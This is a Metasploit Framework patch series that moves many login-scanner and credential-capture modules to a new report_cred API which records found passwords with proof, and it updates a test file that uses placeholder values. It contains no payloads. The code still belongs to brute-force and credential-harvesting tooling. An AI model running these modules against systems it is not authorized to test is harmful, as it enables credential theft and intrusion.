a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -120,21 +120,47 @@ class Metasploit3 < Msf::Auxiliary response = sock.recv(1024) unless have_auth_error?(response) print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'mongodb', - :user => user, - :pass => password, - :source_type => 'user_supplied', - :active => true - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: response.inspect + ) return :next_user end return end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def get_nonce request_id = Rex::Text.rand_text(4) packet = "\x3d\x00\x00\x00" # messageLength (61) diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index 31420e8be3..1f3100ec96 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -66,23 +66,47 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user='msf', pass='msf') vprint_status("Trying username:'#{user}' with password:'#{pass}'") begin res = @rpc.login(user, pass) if res print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'msf-rpc', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'msf-rpc', + user: user, + password: pass, + proof: res.body + ) @rpc.close return :next_user end diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 00a3ba1ef9..69de8c6964 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -124,16 +124,14 @@ class Metasploit3 < Msf::Auxiliary else print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'msf-web', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'msf-web', + user: user, + password: pass, + proof: res.headers['Location'] + ) return :next_user end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT @@ -141,4 +139,32 @@ class Metasploit3 < Msf::Auxiliary return :abort end end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + end diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index bfa7617f28..ba12f61143 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -64,6 +64,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) begin ntp_send("< NTP/1.0 >\n",true) # send hello @@ -84,15 +111,15 @@ class Metasploit3 < Msf::Auxiliary ntp_send("#{pass}\n",!@connected) if @result =~ /SERVER <|>.*<|> SERVER/is print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'nessus-ntp', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'nessus-ntp', + user: user, + password: pass, + proof: @result ) + disconnect @connected = false return :next_user diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 3374f18e32..bff40a5dba 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 032e2d2643..94574d4e3b 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 71804b7ea8..c778ba15ca 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 6d812d7295..fbf870fb2d 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index f444d9c914..ecf1f50a29 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 871b44c1bf..970b8cda7f 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -251,7 +251,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 4ff3781d45..667eca6a4a 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 5aaf38f579..8e8db5c2ab 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index ec81648a73..f22877434f 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index 83cd3e4dc0..d9f11042d1 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 9750a43e1b..03dd3e2113 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 1149cf7a4f..0a43898e17 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -7,10 +7,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - FAKE_IP = '192.168.12.123' - FAKE_PORT = 80 - FAKE_USER = 'user' - FAKE_PASS = 'password' + FAKE_IP = '192.168.12.123' + FAKE_PORT = 80 + FAKE_USER = 'user' + FAKE_PASS = 'password' + FAKE_PROOF = 'proof' def initialize(info = {}) super(update_info(info, @@ -125,265 +126,177 @@ class Metasploit3 < Msf::Auxiliary def test_hp_imc_som_create_account mod = framework.auxiliary.create('admin/hp/hp_imc_som_create_account') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'https', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'https', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_645_password_extractor mod = framework.auxiliary.create('admin/http/dlink_dir_645_password_extractor') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dsl320b_password_extractor mod = framework.auxiliary.create('admin/http/dlink_dsl320b_password_extractor') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) end def test_nexpose_xxe_file_read mod = framework.auxiliary.create('admin/http/nexpose_xxe_file_read') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_vbulletin_upgrade_admin mod = framework.auxiliary.create('admin/http/vbulletin_upgrade_admin') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_wp_custom_contact_forms mod = framework.auxiliary.create('admin/http/wp_custom_contact_forms') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - user: FAKE_USER, - password: FAKE_PASS, - service_name: 'WordPress', - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, service_name: 'WordPress', proof: FAKE_PROOF) end def test_zyxel_admin_password_extractor mod = framework.auxiliary.create('admin/http/zyxel_admin_password_extractor') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'ZyXEL GS1510-16', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ZyXEL GS1510-16', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_sercomm_dump_config mod = framework.auxiliary.create('admin/misc/sercomm_dump_config') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - user: FAKE_USER, - password: FAKE_PASS, - service_name: 'sercomm', - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, service_name: 'sercomm', proof: FAKE_PROOF) end def test_vnc mod = framework.auxiliary.create('server/capture/vnc') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'vnc_client', - user: '', - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'vnc_client', user: '', password: FAKE_PASS, proof: FAKE_PROOF ) end def test_smtp mod = framework.auxiliary.create('server/capture/smtp') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'pop3', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'pop3', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_sip mod = framework.auxiliary.create('server/capture/sip') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'sip_client', - user:FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sip_client', user:FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_oracle_login mod = framework.auxiliary.create('admin/oracle/oracle_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'oracle', - user: FAKE_USER, - password: FAKE_PASS - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS ) end def test_postgresql mod = framework.auxiliary.create('server/capture/postgresql') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'psql_client', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'psql_client', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_pop3 mod = framework.auxiliary.create('server/capture/pop3') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'pop3', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'pop3', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) end def test_http_basic mod = framework.auxiliary.create('server/capture/http_basic') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'HTTP', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'HTTP', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) end def test_ftp mod = framework.auxiliary.create('server/capture/ftp') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'ftp', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ftp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_drda mod = framework.auxiliary.create('server/capture/drda') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'db2_client', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'db2_client', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_koyo_login mod = framework.auxiliary.create('scanner/scada/koyo_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'koyo', - user: '', - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'koyo', user: '', password: FAKE_PASS, proof: FAKE_PROOF) end def test_openvas_otp_login mod = framework.auxiliary.create('scanner/openvas/openvas_otp_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'openvas-otp', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'openvas-otp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_openvas_omp_login mod = framework.auxiliary.create('scanner/openvas/openvas_omp_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'openvas-omp', - user: FAKE_USER, - password: FAKE_PASS, - proof: @result - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'openvas-omp', user: FAKE_USER, password: FAKE_PASS, proof: @result) end def test_openvas_gsad_login mod = framework.auxiliary.create('scanner/openvas/openvas_gsad_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'openvas-gsa', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'openvas-gsa', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_nexpose_api_login mod = framework.auxiliary.create('scanner/nexpose/nexpose_api_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'nexpose', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'nexpose', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_nessus_ntp_login + mod = framework.auxiliary.create('scanner/nessus/nessus_ntp_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'nessus-ntp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_msf_web_login + mod = framework.auxiliary.create('scanner/msf/msf_web_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'msf-web', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_msf_rpc_login + mod = framework.auxiliary.create('scanner/msf/msf_rpc_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'msf-rpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) + end + + def test_mongodb_login + mod = framework.auxiliary.create('scanner/mongodb/mongodb_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mongodb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_rosewill_rxs3211_passwords + mod = framework.auxiliary.create('scanner/misc/rosewill_rxs3211_passwords') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ipcam', user: '', password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_raysharp_dvr_passwords + mod = framework.auxiliary.create('scanner/misc/raysharp_dvr_passwords') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dvr', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_oki_scanner + mod = framework.auxiliary.create('scanner/misc/oki_scanner') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_dvr_config_disclosure + mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ftp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_typo3_bruteforce + mod = framework.auxiliary.create('scanner/http/typo3_bruteforce') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'typo3', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_squiz_matrix_user_enum + mod = framework.auxiliary.create('scanner/http/squiz_matrix_user_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', proof: FAKE_PROOF) + end + + def test_sevone_enum + mod = framework.auxiliary.create('scanner/http/sevone_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: '') + end + + def test_sentry_cdu_enum + mod = framework.auxiliary.create('scanner/http/sentry_cdu_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_businessobjects_user_brute_web + mod = framework.auxiliary.create('scanner/http/sap_businessobjects_user_brute_web') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap-businessobjects', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def run From 8bead5fde2c83b594964e348eea47c03ccc14061 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 23 Jul 2015 18:07:19 -0500 Subject: [PATCH 039/119] Modate update on using metasploit-credential Update some more modules to usethe new cred API. Also, make sure to always provide proof because that seems handy. --- .../scanner/http/axis_local_file_include.rb | 3 +- .../auxiliary/scanner/http/cisco_asa_asdm.rb | 3 +- .../scanner/http/cisco_ironport_enum.rb | 3 +- .../auxiliary/scanner/http/cisco_ssl_vpn.rb | 3 +- .../http/dlink_dir_300_615_http_login.rb | 4 +- .../scanner/http/dlink_dir_615h_http_login.rb | 3 +- .../http/dlink_dir_session_cgi_http_login.rb | 3 +- .../auxiliary/scanner/http/dolibarr_login.rb | 3 +- .../scanner/http/drupal_views_user_enum.rb | 4 +- .../scanner/http/ektron_cms400net.rb | 3 +- .../scanner/http/etherpad_duo_login.rb | 3 +- .../auxiliary/scanner/http/infovista_enum.rb | 3 +- .../scanner/http/joomla_bruteforce_login.rb | 3 +- .../scanner/http/novell_mdm_creds.rb | 3 +- .../scanner/http/oracle_ilom_login.rb | 45 ++++++++++--- .../auxiliary/scanner/http/pocketpad_login.rb | 45 ++++++++++--- .../scanner/http/radware_appdirector_enum.rb | 44 ++++++++++--- .../scanner/http/rfcode_reader_enum.rb | 45 ++++++++++--- .../http/sap_businessobjects_user_brute.rb | 38 ++++++++--- .../scanner/http/splunk_web_login.rb | 3 +- modules/auxiliary/scanner/http/vcms_login.rb | 3 +- .../auxiliary/scanner/misc/cctv_dvr_login.rb | 3 +- .../scanner/telnet/telnet_ruggedcom.rb | 3 +- .../scanner/vmware/vmware_http_login.rb | 3 +- modules/auxiliary/voip/asterisk_login.rb | 3 +- .../auxiliary/test/report_auth_info.rb | 65 +++++++++++++------ 26 files changed, 256 insertions(+), 88 deletions(-) diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 36d12c6d3a..fe384ff9aa 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -91,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'") - report_cred(ip: rhost, port: rport, user: username, password: password) + report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body) else print_error("#{target_url} - Apache Axis - Not Vulnerable") diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index b01d8af730..f9c8611e68 100644 --- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -109,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -139,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) return :next_user else diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 3b79e2dda9..a236e8138a 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -135,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -164,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary if res and res.get_cookies.include?('authenticated=') print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.get_cookies.inspect) return :next_user else diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index 145ef81c0a..5ad7ed6458 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -224,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary do_logout(resp.get_cookies) - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}") return :next_user diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 64c56ad076..a64f3b8a87 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -1,3 +1,4 @@ + ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -103,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -117,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :next_user else diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index b710443945..8816247bf2 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :next_user else @@ -131,6 +131,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 